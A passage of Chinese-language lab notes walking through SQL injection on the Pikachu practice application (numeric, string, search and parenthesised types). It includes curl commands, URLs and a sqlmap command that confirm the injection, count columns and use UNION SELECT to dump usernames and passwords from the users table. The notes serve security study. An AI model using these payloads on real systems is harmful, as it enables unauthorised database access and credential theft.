# 正常请求,验证基础功能curl-s-XPOST"http://.../sqli_id.php"-d"id=1&submit=查询"# 添加单引号,触发SQL语法错误以确认注入点curl-s-XPOST"http://.../sqli_id.php"-d"id=1'&submit=查询"# 逻辑真测试,页面应正常显示数据curl-s-XPOST"http://.../sqli_id.php"-d"id=1 and 1=1&submit=查询"# 逻辑假测试,页面应无数据返回curl-s-XPOST"http://.../sqli_id.php"-d"id=1 and 1=2&submit=查询"```#### 猜字段数```bash# 测试字段数是否为1curl-s-XPOST"http://.../sqli_id.php"-d"id=1 ORDER BY 1&submit=查询"# 正常# 测试字段数是否为2curl-s-XPOST"http://.../sqli_id.php"-d"id=1 ORDER BY 2&submit=查询"# 正常# 测试字段数是否为3,报错则确认字段数为2curl-s-XPOST"http://.../sqli_id.php"-d"id=1 ORDER BY 3&submit=查询"# 报错 → 字段数=2
找回显位 + 查数据
# 确定回显位置(第1、2位)curl-s-XPOST"http://.../sqli_id.php"-d"id=-1 UNION SELECT 1,2&submit=查询"# 获取当前数据库名(显示在回显位)curl-s-XPOST"http://.../sqli_id.php"-d"id=-1 UNION SELECT database(),2&submit=查询"# 查询所有表名(MariaDB 11.x可能限制information_schema手动查询)curl-s-XPOST"http://.../sqli_id.php"\-d"id=-1 UNION SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema=database()&submit=查询"# 查询users表的列名curl-s-XPOST"http://.../sqli_id.php"\-d"id=-1 UNION SELECT group_concat(column_name),2 FROM information_schema.columns WHERE table_name='users'&submit=查询"# 直接获取users表的所有用户名和密码curl-s-XPOST"http://.../sqli_id.php"\-d"id=-1 UNION SELECT group_concat(username),group_concat(password) FROM users&submit=查询"```#### 踩坑记录- **MariaDB11.x 限制**:`information_schema`手动查询无返回,需用 SQLMap 自动化工具 - **SQLMap 解决方案**:```bash sqlmap-u"http://.../sqli_id.php"--data="id=1&submit=查询"-Dpikachu-Tusers--dump--batch
2.2 字符型注入(GET)
项目
说明
入口
http://localhost/pikachu/vul/sqli/sqli_str.php
请求方式
GET(参数在URL中)
后端SQL
SELECT * FROM users WHERE name = 'kobe';
参数特征
被单引号' '包裹
字段数
2
核心区别:需要闭合引号 + 注释
操作
Payload
拼接后的SQL
确认注入
kobe'
WHERE name = 'kobe''→ 报错
恢复正常
kobe'--+
WHERE name = 'kobe'--+'→ 注释掉后面的引号
逻辑真
kobe' AND 1=1--+
WHERE name = 'kobe' AND 1=1--+'
逻辑假
kobe' AND 1=2--+
WHERE name = 'kobe' AND 1=2--+'
完整URL示例
# 确认注入:添加单引号触发SQL错误http://localhost/pikachu/vul/sqli/sqli_str.php?name=kobe'&submit=查询 # 闭合引号并注释:恢复正常查询 http://localhost/pikachu/vul/sqli/sqli_str.php?name=kobe'--+&submit=查询# 猜字段数:测试ORDER BY 2http://localhost/pikachu/vul/sqli/sqli_str.php?name=kobe' ORDER BY 2--+&submit=查询 # 正常 # 猜字段数:测试ORDER BY 3 http://localhost/pikachu/vul/sqli/sqli_str.php?name=kobe'ORDER BY3--+&submit=查询# 报错# 找回显位:使用UNION SELECT确定显示位置http://localhost/pikachu/vul/sqli/sqli_str.php?name=-kobe' UNION SELECT 1,2--+&submit=查询 # 查数据库名:获取当前数据库名称 http://localhost/pikachu/vul/sqli/sqli_str.php?name=-kobe'UNION SELECT database(),2--+&submit=查询# 查表名:获取数据库中的所有表http://localhost/pikachu/vul/sqli/sqli_str.php?name=-kobe' \ UNION SELECT group_concat(table_name),2 \ FROM information_schema.tables \ WHERE table_schema=database()--+&submit=查询 # 查数据(一步到位):直接获取用户名和密码 http://localhost/pikachu/vul/sqli/sqli_str.php?name=-kobe'\UNION SELECT group_concat(username),group_concat(password)\FROM users--+&submit=查询
踩坑记录
必须加&submit=查询:后端 PHP 检查$_GET['submit']是否存在
-kobe让原查询为空:确保 UNION 结果不被原数据干扰
2.3 搜索型注入
项目
说明
入口
http://localhost/pikachu/vul/sqli/sqli_search.php
请求方式
GET
后端SQL
SELECT * FROM users WHERE name LIKE '%kobe%';
参数特征
被%和单引号'% %'包裹(LIKE模糊查询)
字段数
3
submit值
搜索(不是查询)
核心区别:需要闭合'%
操作
Payload
拼接后的SQL
确认注入
kobe%'
WHERE name LIKE '%kobe%''→ 报错
恢复正常
kobe%'--+
WHERE name LIKE '%kobe%'--+'→ 注释掉后面的%'
UNION查询
%' UNION SELECT 1,2,3--+
WHERE name LIKE '%%' UNION SELECT 1,2,3--+%'
完整URL示例
# 确认注入:闭合'%并注释http://localhost/pikachu/vul/sqli/sqli_search.php?name=kobe%'--+&submit=搜索 # 猜字段数:测试ORDER BY 3 http://localhost/pikachu/vul/sqli/sqli_search.php?name=kobe%'ORDER BY3--+&submit=搜索# 正常# 猜字段数:测试ORDER BY 4http://localhost/pikachu/vul/sqli/sqli_search.php?name=kobe%' ORDER BY 4--+&submit=搜索 # 报错 → 字段数=3 # 找回显位(3个回显位) http://localhost/pikachu/vul/sqli/sqli_search.php?name=kobe%'UNION SELECT1,2,3--+&submit=搜索# 查数据库名http://localhost/pikachu/vul/sqli/sqli_search.php?name=kobe%' UNION SELECT database(),2,3--+&submit=搜索 # 查数据(一步到位) http://localhost/pikachu/vul/sqli/sqli_search.php?name=kobe%'\UNION SELECT group_concat(username),group_concat(password),3\FROM users--+&submit=搜索
踩坑记录
submit 值是搜索,不是查询
字段数是 3,不是 2
回显位:username(第1位)、uid(第2位)、email(第3位)
2.4 XX型注入
项目
说明
入口
http://localhost/pikachu/vul/sqli/sqli_x.php
请求方式
GET
后端SQL
SELECT * FROM users WHERE name = ('kobe');
参数特征
被单引号+括号('')包裹
字段数
2
核心区别:需要闭合('
操作
Payload
拼接后的SQL
确认注入
kobe')
WHERE name = ('kobe')'→ 报错
恢复正常
kobe')--+
WHERE name = ('kobe')--+'→ 注释掉后面的')
UNION查询
kobe') UNION SELECT 1,2--+
WHERE name = ('kobe') UNION SELECT 1,2--')
完整URL示例
# 确认注入http://localhost/pikachu/vul/sqli/sqli_x.php?name=kobe')--+&submit=查询 # 猜字段数 http://localhost/pikachu/vul/sqli/sqli_x.php?name=kobe')ORDER BY2--+&submit=查询# 正常http://localhost/pikachu/vul/sqli/sqli_x.php?name=kobe') ORDER BY 3--+&submit=查询 # 报错 → 字段数=2 # 查数据(一步到位) http://localhost/pikachu/vul/sqli/sqli_x.php?name=kobe')UNION SELECT group_concat(username),group_concat(password)FROM users--+&submit=查询